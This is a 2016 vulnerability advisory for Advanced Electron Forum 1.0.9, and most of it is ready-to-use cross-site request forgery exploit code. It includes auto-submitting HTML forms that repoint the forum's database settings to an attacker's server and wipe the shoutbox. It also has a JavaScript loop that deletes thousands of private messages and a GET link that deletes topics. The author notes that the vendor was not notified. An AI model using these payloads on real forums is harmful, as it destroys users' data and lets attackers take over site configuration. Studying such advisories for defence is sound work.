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Advanced Electron Forum 1.0.9 Cross Site Request Forgery

Posted on 20 January 2016

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/AEF-CSRF.txt

Vendor:
=============================
www.anelectron.com/downloads/

Product:
====================================
Advanced Electron Forum v1.0.9 (AEF)
Exploit patched current version.

Vulnerability Type:
===================
CSRF

CVE Reference:
==============
N/A

Vulnerability Details:
=====================

In Admin panel no CSRF protections exist in multiple areas allowing remote
attackers to make HTTP request on behalf of the victim if they
currently have a valid session (logged in) and visit or click an infected
link, resulting in some of the following destructions.

0x01: Change current database settings

0x02: Delete all Inbox / Sent Emails

0x03: Delete all 'shouts'

0x04: Delete all Topics

by the way, edit profile, avatar and more all seem vulnerable as well..

Exploit code(s):
===============

CSRF 0x01:

change mysql db settings
note: however you will need to know or guess the database name.

<form id="DOOM" accept-charset="ISO-8859-1" action="
http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=conpan&seadact=mysqlset"
method="post" name="mysqlsetform">
<input type="hidden" name="server" value="hyp3rlinx.altervista.org" />
<input type="hidden" name="user" value="hyp3rlinx" />
<input type="hidden" name="password" value="DESTROYED" />
<input type="hidden" name="database" value="AEF" />
<input type="hidden" name="dbprefix" value="aef_" />
<script>document.getElementById('DOOM').submit()</script>
</form>

CSRF 0x02:

Delete all Inbox / Sent emails...

<iframe name="demonz" style="display:none" name="hidden-form"></iframe>

<form id="DESTRUCT" target="demonz" action="
http://localhost/AEF(1.0.9)_Install/index.php?act=usercp&ucpact=sentitems"
method="post">
<input type="hidden" id="sent" name="list[]" />
<input type="hidden" name="deleteselsent" value="Delete+Selected" />
</form>

<form id="DOOM" target="demonz" action="
http://localhost/AEF(1.0.9)_Install/index.php?act=usercp&ucpact=inbox"
method="post">
<input type="hidden" id="inbox" name="list[]" />
<input type="hidden" name="deleteselinbox" value="Delete+Selected" />
</form>

<script>
//Sent Email IDs seem to be stored using even numbers 2,4,6 etc...
//Inbox Email IDs seem to use odd numbers
var c=-1
var uwillsuffer;
var amttodelete=10000
var inbox=document.getElementById("inbox")
var outbox=document.getElementById("sent")

function RUIN_EVERYTHING(){
c++
//Inbox IDs are even numbered Sent are odd.
if(c % 2 == 0){
arguments[3].value=c
document.getElementById(arguments[1]).submit()
}else{
arguments[2].value=c
document.getElementById(arguments[0]).submit()
}
if(c>=amttodelete){
 clearInterval(uwillsuffer)
 alert("Done!")
 }
}
uwillsuffer = setInterval(RUIN_EVERYTHING, 1000, "DOOM", "DESTRUCT", inbox,
outbox)
</script>

CSRF 0x03:

Delete all 'Shouts'

<form accept-charset="ISO-8859-1" id="SPECTOR_OF_HATE" action="
http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=conpan&seadact=shoutboxset"
method="post">
<input type="hidden" name="shouts" value="10" />
<input type="hidden" name="shoutboxtime" value="1440" />
<input type="hidden" name="shoutbox_emot" value="on" />
<input type="hidden" name="shoutbox_nbbc" value="on" />
<input type="hidden" name="truncatetable" value="on" />
<input type="hidden" name="delallshouts" value="Delete" />
<script>document.getElementById('SPECTOR_OF_HATE').submit()</script>
</form>

CSRF 0x04:

Delete all 'Topics' via simple GET request, this will delete topics 1 thru
7...

http://localhost/AEF(1.0.9)_Install/index.php?act=deletetopic&topid=7,6,5,4,3,2,1

Disclosure Timeline:
=======================================
Vendor Notification: NA
January 17, 2016 : Public Disclosure

Exploitation Technique:
======================
Remote

Severity Level:
================
High

Description:
===================================================================
Request Method(s): [+] POST / GET

Vulnerable Product: [+] AEF v1.0.9 (exploit patched version)

===================================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx

 

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